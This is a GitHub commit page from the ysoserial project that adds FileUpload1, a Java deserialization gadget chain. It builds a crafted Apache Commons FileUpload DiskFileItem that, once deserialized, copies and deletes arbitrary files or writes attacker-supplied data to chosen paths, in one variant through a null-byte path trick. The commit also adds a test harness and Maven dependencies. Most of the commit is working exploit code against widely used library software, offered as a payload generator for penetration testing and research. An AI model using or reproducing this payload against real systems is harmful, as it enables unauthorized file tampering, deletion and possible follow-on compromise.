Skip to content

Commit

Permalink
Add commons fileupload file operation gadget chain.
Browse files Browse the repository at this point in the history
  • Loading branch information
mbechler committed Mar 6, 2016
1 parent 6f9c8dc commit 20580e9
Show file tree
Hide file tree
Showing 3 changed files with 219 additions and 0 deletions.
10 changes: 10 additions & 0 deletions pom.xml
Original file line number Diff line number Diff line change
Expand Up @@ -93,6 +93,11 @@
<artifactId>javassist</artifactId>
<version>3.19.0-GA</version>
</dependency>
<dependency>
<groupId>commons-codec</groupId>
<artifactId>commons-codec</artifactId>
<version>1.9</version>
</dependency>

<!-- gadget dependecies -->

Expand Down Expand Up @@ -147,6 +152,11 @@
<classifier>jdk15</classifier>
<version>2.4</version>
</dependency>
<dependency>
<groupId>commons-fileupload</groupId>
<artifactId>commons-fileupload</artifactId>
<version>1.3</version>
</dependency>
</dependencies>

<profiles>
Expand Down
124 changes: 124 additions & 0 deletions src/main/java/ysoserial/payloads/FileUpload1.java
Original file line number Diff line number Diff line change
@@ -0,0 +1,124 @@
package ysoserial.payloads;


import java.io.File;
import java.io.IOException;
import java.io.OutputStream;
import java.lang.reflect.Field;
import java.util.Arrays;

import org.apache.commons.codec.binary.Base64;
import org.apache.commons.fileupload.disk.DiskFileItem;
import org.apache.commons.io.output.DeferredFileOutputStream;
import org.apache.commons.io.output.ThresholdingOutputStream;

import ysoserial.PayloadTest;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;


/**
* Gadget chain:
* DiskFileItem.readObject()
*
* Arguments:
* - copyAndDelete:sourceFile:destDir
* - write:destDir:ascii-data
* - writeB64:destDir:base64-data
* - writeOld:destFile:ascii-data
* - writeOldB64:destFile:base64-data
*
* Yields:
* - copy an arbitraty file to an arbitrary directory (source file is deleted if possible)
* - pre 1.3.1 (+ old JRE): write data to an arbitrary file
* - 1.3.1+: write data to a more or less random file in an arbitrary directory
*
* @author mbechler
*/
@Dependencies ( {
"commons-fileupload:commons-fileupload:1.3.1",
"commons-io:commons-io:2.4"
} )
@PayloadTest(harness="ysoserial.payloads.FileUploadTest")
public class FileUpload1 implements ObjectPayload<DiskFileItem> {

/**
* {@inheritDoc}
*
* @see ysoserial.payloads.ObjectPayload#getObject(java.lang.String)
*/
public DiskFileItem getObject ( String command ) throws Exception {

String[] parts = command.split(":");

if ( parts.length == 3 && "copyAndDelete".equals(parts[ 0 ]) ) {
return copyAndDelete(parts[ 1 ], parts[ 2 ]);
}
else if ( parts.length == 3 && "write".equals(parts[ 0 ]) ) {
return write(parts[ 1 ], parts[ 2 ].getBytes("US-ASCII"));
}
else if ( parts.length == 3 && "writeB64".equals(parts[ 0 ]) ) {
return write(parts[ 1 ], Base64.decodeBase64(parts[ 2 ]));
}
else if ( parts.length == 3 && "writeOld".equals(parts[ 0 ]) ) {
return writePre131(parts[ 1 ], parts[ 2 ].getBytes("US-ASCII"));
}
else if ( parts.length == 3 && "writeOldB64".equals(parts[ 0 ]) ) {
return writePre131(parts[ 1 ], Base64.decodeBase64(parts[ 2 ]));
}
else {
throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(parts));
}
}


private static DiskFileItem copyAndDelete ( String copyAndDelete, String copyTo ) throws IOException, Exception {
return makePayload(0, copyTo, copyAndDelete, new byte[1]);
}


// writes data to a random filename (update_<per JVM random UUID>_<COUNTER>.tmp)
private static DiskFileItem write ( String dir, byte[] data ) throws IOException, Exception {
return makePayload(data.length + 1, dir, dir + "/whatever", data);
}


// writes data to an arbitrary file
private static DiskFileItem writePre131 ( String file, byte[] data ) throws IOException, Exception {
return makePayload(data.length + 1, file + "\0", file, data);
}


/**
* @param thresh
* @param repoPath
* @param filePath
* @param data
* @return
* @throws IOException
* @throws Exception
*/
private static DiskFileItem makePayload ( int thresh, String repoPath, String filePath, byte[] data ) throws IOException, Exception {
// if thresh < written length, delete outputFile after copying to repository temp file
// otherwise write the contents to repository temp file
File repository = new File(repoPath);
DiskFileItem diskFileItem = new DiskFileItem("test", "application/octet-stream", false, "test", 100000, repository);
File outputFile = new File(filePath);
DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile);
OutputStream os = (OutputStream) Reflections.getFieldValue(dfos, "memoryOutputStream");
os.write(data);
Field writtenF = ThresholdingOutputStream.class.getDeclaredField("written");
writtenF.setAccessible(true);
writtenF.set(dfos, data.length);
Reflections.setFieldValue(diskFileItem, "dfos", dfos);
Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0);
return diskFileItem;
}


public static void main ( final String[] args ) throws Exception {
PayloadRunner.run(FileUpload1.class, args);
}

}
85 changes: 85 additions & 0 deletions src/test/java/ysoserial/payloads/FileUploadTest.java
Original file line number Diff line number Diff line change
@@ -0,0 +1,85 @@
/**
* © 2016 AgNO3 Gmbh & Co. KG
* All right reserved.
*
* Created: 05.03.2016 by mbechler
*/
package ysoserial.payloads;

import java.io.File;
import java.io.IOException;
import java.util.Arrays;
import java.util.concurrent.Callable;

import org.junit.Assert;

import com.google.common.io.Files;

import ysoserial.CustomTest;

/**
* @author mbechler
*
*/
public class FileUploadTest implements CustomTest {

/**
*
*/
private static final byte[] FDATA = new byte[] {(byte) 0xAA, (byte) 0xBB, (byte) 0xCC, (byte) 0xDD, (byte) 0xEE, (byte) 0xFF };
private File source;
private File repo;


/**
*
*/
public FileUploadTest () {
try {
source = File.createTempFile("fileupload-test", ".source");
source.deleteOnExit();
repo = Files.createTempDir();
}
catch ( IOException e ) {
e.printStackTrace();
}
}

/**
* {@inheritDoc}
*
* @see ysoserial.CustomTest#run(java.util.concurrent.Callable)
*/
public void run ( Callable<Object> payload ) throws Exception {
try {
Files.write(FDATA, this.source);
payload.call();

File found = null;
for ( File f : this.repo.listFiles()) {
found = f;
break;
}
Assert.assertNotNull("File not copied", found);
Assert.assertFalse("Source not deleted", this.source.exists());
Assert.assertTrue("Contents not copied", Arrays.equals(FDATA, Files.toByteArray(found)));
} finally {
if ( this.repo.exists()) {
for ( File f : this.repo.listFiles()) {
f.delete();
}
this.repo.delete();
}
}
}

/**
* {@inheritDoc}
*
* @see ysoserial.CustomTest#getPayloadArgs()
*/
public String getPayloadArgs () {
return "copyAndDelete:" + this.source.getAbsolutePath() + ":" + this.repo.getAbsolutePath();
}

}

0 comments on commit 20580e9

Please sign in to comment.